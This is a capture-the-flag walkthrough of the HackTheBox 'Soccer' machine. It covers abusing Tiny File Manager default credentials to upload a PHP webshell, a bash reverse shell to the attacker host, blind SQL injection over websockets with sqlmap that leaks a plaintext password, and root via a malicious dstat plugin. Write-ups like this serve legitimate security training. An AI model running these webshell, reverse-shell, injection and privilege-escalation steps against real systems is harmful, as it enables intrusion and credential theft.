Soccer starts with a website that is managed over Tiny File Manager. On finding the default credentials, I’ll use that to upload a webshell and get a shell on the box. With this foothold, I’ll identify a second virtual host with a new site. That site uses websockets to do a validation task. I’ll exploit an SQL injection over the websocket to leak a password and get a shell over SSH. The user is able to run dstat as root using doas, which I’ll exploit by crafting a malicious plugin.

Box Info

Name Soccer Soccer
Play on HackTheBox
Release Date 17 Dec 2022
Retire Date 10 Jun 2023
OS Linux Linux
Base Points Easy [20]
Rated Difficulty Rated difficulty for Soccer
Radar Graph Radar chart for Soccer
First Blood User 34 mins, 50 seconds televat0rs
First Blood Root 48 mins, 10 seconds Stean
Creator sau123



nmap finds two open TCP ports, SSH (22), HTTP (80), and something HTTPish (9091):

oxdf@hacky$ nmap -p- --min-rate 10000
Starting Nmap 7.80 ( ) at 2023-06-04 13:32 EDT
Nmap scan report for
Host is up (0.093s latency).
Not shown: 65532 closed ports
22/tcp   open  ssh
80/tcp   open  http
9091/tcp open  xmltec-xmlmail

Nmap done: 1 IP address (1 host up) scanned in 6.92 seconds
oxdf@hacky$ nmap -p 22,80,9091 -sCV
Starting Nmap 7.80 ( ) at 2023-06-04 13:32 EDT
Nmap scan report for
Host is up (0.093s latency).

22/tcp   open  ssh             OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http            nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://soccer.htb/
9091/tcp open  xmltec-xmlmail?
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, RPCCheck, SSLSessionReq, drda, informix: 
|     HTTP/1.1 400 Bad Request
|     Connection: close
|   GetRequest: 
|     HTTP/1.1 404 Not Found
|     Content-Security-Policy: default-src 'none'
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 20.65 seconds

Based on the OpenSSH version, the host is likely running Ubuntu 20.04 focal.

The port 80 HTTP server shows a redirect to soccer.htb.

Subdomain Brute Force

Given the use of potential host based routing, I’ll try to brute force the webserver on port 80 to see if it replies differently for any subdomains of soccer.htb. It doesn’t find anything:

oxdf@hacky$ ffuf -u -H "Host:" -w /opt/SecLists/Discovery/DNS/subdomains-top1million-20000.txt -mc all -ac

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       


 :: Method           : GET
 :: URL              :
 :: Wordlist         : FUZZ: /opt/SecLists/Discovery/DNS/subdomains-top1million-20000.txt
 :: Header           : Host:
 :: Follow redirects : false
 :: Calibration      : true
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: all

:: Progress: [19966/19966] :: Job [1/1] :: 427 req/sec :: Duration: [0:00:47] :: Errors: 0 ::

Because port 9091 looks like a webserver as well, I can try that, but it doesn’t find anything either:

oxdf@hacky$ ffuf -u -H "Host:" -w /opt/SecLists/Discovery/DNS/subdomains-top1million-20000.txt -mc all -ac

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       


 :: Method           : GET
 :: URL              :
 :: Wordlist         : FUZZ: /opt/SecLists/Discovery/DNS/subdomains-top1million-20000.txt
 :: Header           : Host:
 :: Follow redirects : false
 :: Calibration      : true
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: all

:: Progress: [19966/19966] :: Job [1/1] :: 431 req/sec :: Duration: [0:00:47] :: Errors: 0 ::

I’ll add soccer.htb to my hosts file: soccer.htb

soccer.htb - TCP 80


The site is for the HTB FootBall Club:

There are no links on the page.

Tech Stack

The HTTP headers don’t show much beyond nginx:

HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Sun, 04 Jun 2023 17:48:07 GMT
Content-Type: text/html
Last-Modified: Thu, 17 Nov 2022 08:07:11 GMT
Connection: close
ETag: W/"6375ebaf-1b05"
Content-Length: 6917

The page loads as /index.html, suggesting it may just be a static site. The page source doesn’t show anything interesting either.

The 404 page is a standard nginx 404:


So there could be something else here, but it’s looking like a static site at this point.

Directory Brute Force

I’ll run feroxbuster against the site:

oxdf@hacky$ feroxbuster -u http://soccer.htb

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.9.3
 🎯  Target Url            │ http://soccer.htb
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.9.3
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
 🎉  New Version Available │
 🏁  Press [ENTER] to use the Scan Management Menu™
404      GET        7l       12w      162c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
403      GET        7l       10w      162c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET      711l     4253w   403502c http://soccer.htb/ground2.jpg
200      GET     2232l     4070w   223875c http://soccer.htb/ground4.jpg
200      GET      809l     5093w   490253c http://soccer.htb/ground1.jpg
200      GET      494l     1440w    96128c http://soccer.htb/ground3.jpg
200      GET      147l      526w     6917c http://soccer.htb/
301      GET        7l       12w      178c http://soccer.htb/tiny => http://soccer.htb/tiny/
301      GET        7l       12w      178c http://soccer.htb/tiny/uploads => http://soccer.htb/tiny/uploads/
[####################] - 1m     90021/90021   0s      found:7       errors:0      
[####################] - 57s    30000/30000   521/s   http://soccer.htb/ 
[####################] - 56s    30000/30000   526/s   http://soccer.htb/tiny/ 
[####################] - 56s    30000/30000   528/s   http://soccer.htb/tiny/uploads/ 

It finds /tiny and /tiny/uploads.

Tiny File Manager

/tiny is an instance of Tiny File Manager:


This is a common name for software, but searching for it with the term “CCP Programmers” finds the source on GitHub here, where it describes itself as:

TinyFileManager is web based PHP file manager and it is a simple, fast and small size in single-file PHP file that can be dropped into any folder on your server, multi-language ready web application for storing, uploading, editing and managing files and folders online via web browser. The Application runs on PHP 5.5+, It allows the creation of multiple users and each user can have its own directory and a built-in support for managing text files with cloud9 IDE and it supports syntax highlighting for over 150+ languages and over 35+ themes.

Shell as www-data

Authenticate to Tiny File Manager

On the README file, it gives the following instructions for how to set up Tiny File Manager:

Download ZIP with latest version from master branch.

Just copy the tinyfilemanager.php to your webspace - that’s all :) You can also change the file name from “tinyfilemanager.php” to something else, you know what i meant for.

Default username/password: admin/admin@123 and user/12345.

Warning: Please set your own username and password in $auth_users before use. password is encrypted with password_hash(). to generate new password hash here

To enable/disable authentication set $use_auth to true or false.

Add your own configuration file config.php in the same folder to use as additional configuration file.

To work offline without CDN resources, use offline branch

That gives two sets of default credentials, “admin” / “admin@123” and “user” / “12345”. Both sets of creds work here. I’ll log in as admin.

Tiny File Manager

Logged in, the page show the files that are part of the Soccer website:


The URL is http://soccer.htb/tiny/tinyfilemanager.php?p=, which shows that the server is running PHP.

The tiny directory has the filemanager page, as well as the uploads directory:


uploads is empty:



I’ll make a simple PHP webshell:

<?php system($_REQUEST["cmd"]); ?>

I’ll use the “Upload” button, and it offers a way to upload:


If I try to upload in /var/www/html/, it fails:


If I navigate to /tiny/uploads and then click “Upload”, it works:


The webshell provides execution:

oxdf@hacky$ curl http://soccer.htb/tiny/uploads/cmd.php -d 'cmd=id'
uid=33(www-data) gid=33(www-data) groups=33(www-data)

I’ll start nc listening on 443 on my host, and trigger a reverse shell by sending a bash reverse shell:

oxdf@hacky$ curl http://soccer.htb/tiny/uploads/cmd.php -d 'cmd=bash -c "bash -i >%26 /dev/tcp/ 0>%261"'

It hangs, but there’s a connection at nc:

oxdf@hacky$ nc -lnvp 443
Listening on 443
Connection received on 55140
bash: cannot set terminal process group (1048): Inappropriate ioctl for device
bash: no job control in this shell

I’ll upgrade my shell using the script / stty trick.

Shell as player


Web Roots

The files in /var/www/html match what I observed via the file manager:

www-data@soccer:~/html$ ls 
football.jpg  ground2.jpg  ground4.jpg  tiny
ground1.jpg   ground3.jpg  index.html

There’s no database connection. The only credentials in the files are the users created for the Tiny File Manager:

// Login user name and password
// Users: array('Username' => 'Password', 'Username2' => 'Password2', ...)
// Generate secure password hash -
$auth_users = array(
    'admin' => '$2y$10$/K.hjNr84lLNDt8fTXjoI.DBp6PpeyoJ.mGwrrLuCZfAwfSAGqhOW', //admin@123
    'user' => '$2y$10$Fg6Dz8oH9fPoZ2jJan5tZuv6Z4Kp7avtQ9bDfrdRntXtPeiMAZyGO' //12345                                                      

Other Home Directories

There’s one home directory in /home, player:

www-data@soccer:/home$ ls

user.txt is in that directory but www-data can’t read it:

www-data@soccer:/home/player$ ls -la
total 28
drwxr-xr-x 3 player player 4096 Nov 28  2022 .
drwxr-xr-x 3 root   root   4096 Nov 17  2022 ..
lrwxrwxrwx 1 root   root      9 Nov 17  2022 .bash_history -> /dev/null
-rw-r--r-- 1 player player  220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 player player 3771 Feb 25  2020 .bashrc
drwx------ 2 player player 4096 Nov 17  2022 .cache
-rw-r--r-- 1 player player  807 Feb 25  2020 .profile
lrwxrwxrwx 1 root   root      9 Nov 17  2022 .viminfo -> /dev/null
-rw-r----- 1 root   player   33 Jun  4 17:29 user.txt
www-data@soccer:/home/player$ cat user.txt 
cat: user.txt: Permission denied

Network / Processes

The netstat shows a few ports that weren’t available from the outside:

www-data@soccer:/$ netstat -tnlp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0*               LISTEN      -                   
tcp        0      0  *               LISTEN      -                   
tcp        0      0*               LISTEN      -                   
tcp        0      0*               LISTEN      -                   
tcp        0      0    *               LISTEN      1089/nginx: worker  
tcp        0      0 *               LISTEN      -                   
tcp        0      0    *               LISTEN      -                   
tcp6       0      0 :::80                   :::*                    LISTEN      1089/nginx: worker  
tcp6       0      0 :::22                   :::*                    LISTEN      - 

There’s still not much information about what 9091 could be. Port 3000 looks to be another web page:

www-data@soccer:/$ curl localhost:3000
<!DOCTYPE html>          
<html lang="en">              
        <meta charset="UTF-8">   
        <meta http-equiv="X-UA-Compatible" content="IE=edge">                                                                             
        <meta name="viewport" content="width=device-width, initial-scale=1.0">                                                            
        <link href="/css/bootstrap.min.css" rel="stylesheet" id="bootstrap-css">                                                          
        <script src="/js/bootstrap.bundle.min.js"></script>                                                                               
        <script src="/js/jquery.min.js"></script>

3306 and 33060 both seem to be MySQL instances:

www-data@soccer:/$ mysql -p 3306
Enter password: 
ERROR 1045 (28000): Access denied for user 'www-data'@'localhost' (using password: YES)
www-data@soccer:/$ mysql -p 33060
Enter password: 
ERROR 1045 (28000): Access denied for user 'www-data'@'localhost' (using password: YES)

It’s hard to verify any of this as www-data can only read it’s own processes:

www-data@soccer:/$ ps auxww
www-data    1089  0.0  0.1  54080  6176 ?        S    17:28   0:03 nginx: worker process
www-data    1090  0.0  0.1  54080  6492 ?        S    17:28   0:04 nginx: worker process
www-data    2385  0.0  0.0   2608   532 ?        S    18:50   0:00 sh -c bash -c "bash -i >& /dev/tcp/ 0>&1"
www-data    2386  0.0  0.0   3976  2844 ?        S    18:50   0:00 bash -c bash -i >& /dev/tcp/ 0>&1
www-data    2387  0.0  0.0   4108  3484 ?        S    18:50   0:00 bash -i
www-data    2389  0.0  0.0   2636  2000 ?        S    18:50   0:00 script /dev/null -c bash
www-data    2390  0.0  0.0   2608   596 pts/1    Ss   18:50   0:00 sh -c bash
www-data    2391  0.0  0.0   4108  3596 pts/1    S    18:50   0:00 bash
www-data    2404  0.0  0.0   5892  2904 pts/1    R+   18:51   0:00 ps auxww

That is because /proc is mounted with hidepid=2:

www-data@soccer:/$ mount | grep ^proc
proc on /proc type proc (rw,nodev,relatime,hidepid=2)


There’s nothing else of interest in the system root or /opt or /srv. I’ll look at how nginx is configured. There are two site files in /etc/nginx/sites-enabled:

www-data@soccer:/etc/nginx/sites-enabled$ ls
default  soc-player.htb

default set up the redirect to soccer.htb:

server {
        listen 80;
        listen [::]:80;
        return 301 http://soccer.htb$request_uri;

It also configures the main site, allowing it PHP for PHP files:

server {
        listen 80;
        listen [::]:80;

        server_name soccer.htb;

        root /var/www/html;
        index index.html tinyfilemanager.php;

        location / {
               try_files $uri $uri/ =404;

        location ~ \.php$ {
                include snippets/fastcgi-php.conf;
                fastcgi_pass unix:/run/php/php7.4-fpm.sock;

        location ~ /\.ht {
                deny all;


soc-player.htb sets up another site that matches on the name

server {
        listen 80;
        listen [::]:80;


        root /root/app/views;

        location / {
                proxy_pass http://localhost:3000;
                proxy_http_version 1.1;
                proxy_set_header Upgrade $http_upgrade;
                proxy_set_header Connection 'upgrade';
                proxy_set_header Host $host;
                proxy_cache_bypass $http_upgrade;


This webserver is hosted out of /root/, which is interesting, and passes to localhost 3000 (as observed previously).

I’ll update my hosts file: soccer.htb


This site looks exactly the same as the previous, except it has more options in the menu bar:

“Match” has a page with a couple matches on it:


It mentions a free ticket with login. I’ll register an account on the login:


After logging in, it redirects to /check, where I get a ticket id:


I can put a ticket id into the field and hit enter, and it tells me that the ticket exists:


Or a different number does not exist:


Tech Stack

The HTTP headers on this site show something different:

HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Sun, 04 Jun 2023 21:01:25 GMT
Content-Type: text/html; charset=utf-8
Connection: close
X-Powered-By: Express
ETag: W/"1a5d-j2rGKcxb2vG5mw817o9kuCXUG9A"
Set-Cookie: connect.sid=s%3AfzlQ3aFEPfRhEXq51K_uqNvexNoR9nuY.%2BBeuQqYAry5y7q1Wccbld3alYHOkL0AmbBCA201JP5E; Path=/; HttpOnly
Content-Length: 6749

It’s running Express, a NodeJS web framework.


There’s another interesting request. Logging in submits a POST request to /login. On success, it returns a 302 redirect to /check. As that page is loading, it makes a request to, which returns a 101:


HTTP 101 is a Switching Protocols response:

HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: 2lpCpI8gQ/C/eDaO6NMwOr0mrNs=

TCP 9091 is a websocket server. There’s no immediate messages shown in the “WebSockets history” tab in Burp. But once I check a ticket, there’s a message and a response:


The sent message is simply JSON with the id:


The response is just the text that is shown:


SQL Injection over Websockets


I’ll send one of the “To server” message to Burp Repeater and play around with it. Adding in a ' doesn’t do anything other than return “Ticket Doesn’t Exist”. Any time I’m trying SQLI with an integer value, it’s worth trying without a ' as well. The ' is used to close strings, but if the input is being handled as an integer, perhaps just an ` or 1=1– - will work (where – -` is to comment out whatever follows). It does:


There is no ticket 0, but it still returns exists because it pulls all rows.

Blind SQL Injection Background

This is a blind SQL injection - no data from the database comes back in the response, only one of two responses. The goal is to be able to ask questions of the database. For example, “is there a username that starts with ‘a’”?

To get there, first I’ll need to be able to picture the query being run on the system. It’s going to be something like:

SELECT * from ticket where id = {id};

If one or more rows return, then it says the ticket exists, else it doesn’t.

To make a test, there are a few ways I could structure a query. For manual testing, I prefer to use a UNION injection. I’ll send something that will return no rows, and then use a UNION to make another query, and then if that query returns rows, it will return that the “Ticket Exists”.

It’s also possible to make these queries using OR foo=bar to test, but I find those more difficult to think about when doing the manual approach.

I’ll also note that the app seems to handle query errors by returning “Ticket Doesn’t Exist” rather than crashing.

Manually Building a UNION

I need to know the number of columns returned from the query, because my UNION statement must return the same number, or it crashes. If I send one, it returns false:


I’ll add more columns until it returns true at three columns:


Now the query on the server looks like this:

SELECT * from ticket where id = 0 UNION SELECT 1,2,3;

The first select returns no row, and then my UNION returns the values 1, 2, 3, and it returns “Ticket Exists”.

Manually Asking a Question

Now to ask a question. In MySQL, there’s a mysql.user table with the users that can log into MySQL. I’m going to send this payload that will return true if there’s a user in that table that starts with “a”:

{"id":"0 UNION select user,2,3 from mysql.user where user like 'a%'-- -"}

It returns false. There is likely a user named “root”, and changing “a” to “r”, it returns true:


With enough requests, any value from the table can be brute-forced one character at a time.


Doing all of this manually is impossible, so I’ll either have to write a script to do it, or find a tool. sqlmap is the perfect tool here, and it even works over websockets.

If sqlmap returns this error, it’s because the Python websockets library is missing:

[21:17:13] [CRITICAL] sqlmap requires third-party module 'websocket-client' in order to use WebSocket functionality 

Or if sqlmap returns this error, it’s because the wrong websockets library is installed:

[21:18:30] [ERROR] wrong modification time of '/usr/share/sqlmap/'
[21:18:30] [ERROR] wrong modification time of '/usr/share/sqlmap/'
[21:18:30] [ERROR] wrong modification time of '/usr/share/sqlmap/thirdparty/identywaf/'
[21:18:30] [CRITICAL] wrong websocket library detected (Reference: '

Either of these are fixed with pip install websocket-client.

I’ll give it the following arguments:

  • -u "ws://" - The URL to connect to.
  • --data '{"id": "1234"}' - The data to send.
  • --dbms mysql - Tell sqlmap that it’s running MySQL.
  • --batch - Take the default answer on all questions.
  • --level 5 --risk 3 - Increase to the most aggressive to find the boolean injection (without this it just finds a time-based injection, which is really slow).

It finds a time-based injection, and then finds the three column UNION-based boolean as well:

oxdf@hacky$ sqlmap -u ws:// --data '{"id": "1234"}' --dbms mysql --batch --lev
el 5 --risk 3
[21:24:42] [INFO] testing connection to the target URL
[21:30:25] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause'
[21:30:32] [INFO] (custom) POST parameter 'JSON id' appears to be 'OR boolean-based blind - WHERE or HAVING clause' injectable 
[21:30:45] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[21:30:56] [INFO] (custom) POST parameter 'JSON id' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
[21:32:28] [INFO] checking if the injection point on (custom) POST parameter 'JSON id' is a false positive
(custom) POST parameter 'JSON id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 373 HTTP(s) requests:
Parameter: JSON id ((custom) POST) 
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause
    Payload: {"id": "-1533 OR 9982=9982"}

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: {"id": "1234 AND (SELECT 5403 FROM (SELECT(SLEEP(5)))gMBy)"}
[21:32:37] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12

It’s using the OR structure for boolean rather than UNION.

Enumerate DB

List Databases

Now that sqlmap has found an injection, I’ll up-arrow and add --dbs to the previous command. Theads are safe to do in a boolean injection, so I’ll add --threads 10 to speed it up. It will pick up where it left off and list the available databases:

oxdf@hacky$ sqlmap -u ws:// --dbs --data '{"id": "1234"}' --dbms mysql --batch --level 5 --risk 3 --threads 10
available databases [5]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] soccer_db
[*] sys

List Tables in soccer_db

soccer_db seems like the only non-default DB. I’ll replace --dbs with -D soccer_db to specify that database and then add --tables to list the tables:

oxdf@hacky$ sqlmap -u ws:// -D soccer_db --tables --data '{"id": "1234"}' --dbms mysql --batch --level 5 --risk 3 --threads 10
Database: soccer_db
[1 table]
| accounts |

There’s only one.

Dump accounts

In general, with boolean and time-based SQL injections, I want to be careful about dumping tons of data, as it will be very slow. That said, since there’s only one table, I want the entire thing, so I’ll replace --tables with -T accounts and add --dump. It dumps the table:

oxdf@hacky$ sqlmap -u ws:// -D soccer_db -T accounts --dump --data '{"id": "1234"}' --dbms mysql --batch --level 5 --risk 3 --threads 10
Database: soccer_db
Table: accounts
[1 entry]
| id   | email             | password             | username |
| 1324 | player@player.htb | PlayerOftheMatch2022 | player   |

The user is player and the password is in plaintext.

su / SSH

That password works for the player user on the box with su:

www-data@soccer:/home/player$ su player -

It works for SSH as well:

oxdf@hacky$ sshpass -p PlayerOftheMatch2022 ssh player@soccer.htb
Welcome to Ubuntu 20.04.5 LTS (GNU/Linux 5.4.0-135-generic x86_64)

Either way I’ll grab user.txt:

player@soccer:~$ cat user.txt

Shell as root


sudo / doas

The first check on Linux is always sudo, but nothing set up for player on Soccer:

player@soccer:~$ sudo -l
[sudo] password for player: 
Sorry, user player may not run sudo on localhost.

However, in looking for SetUID binaries, the first one jumps out:

player@soccer:~$ find / -perm -4000 2>/dev/null

doas is an alternative to sudo typically found on OpenBSD operating systems, but that can be installed on Debian-base Linux OSes like Ubuntu.

doas Config

I don’t see a doas.conf file in /etc, so I’ll search the filesystem for it with find:

player@soccer:~$ find / -name doas.conf 2>/dev/null

It has one line:

player@soccer:~$ cat /usr/local/etc/doas.conf 
permit nopass player as root cmd /usr/bin/dstat

player can run the command dstat as root.


man Page

dstat is a tool for getting system information. Looking at the man page, there’s a section on plugins that says:

While anyone can create their own dstat plugins (and contribute them) dstat ships with a number of plugins already that extend its capabilities greatly.

At the very bottom of the page, it has a section on files:

Paths that may contain external dstat_*.py plugins:

(path of binary)/plugins/

Plugins are Python scripts with the name dstat_[plugin name].py.

Malicious Plugin

I’ll write a very simple plugin:

import os


This will drop into Bash for an interactive shell.

Looking at the list of locations, I can obviously write to ~/.dstat, but when run with doas, it’ll be running as root, and therefore won’t check /home/player/.dstat. Luckily, /usr/local/share/dstat is writable.

player@soccer:~$ echo -e 'import os\n\nos.system("/bin/bash")' > /usr/local/share/dstat/

With that in place, I’ll invoke dstat with the 0xdf plugin:

player@soccer:~$ doas /usr/bin/dstat --0xdf
/usr/bin/dstat:2619: DeprecationWarning: the imp module is deprecated in favour of importlib; see the module's documentation for alternative uses
  import imp

And grab the flag:

root@soccer:~# cat root.txt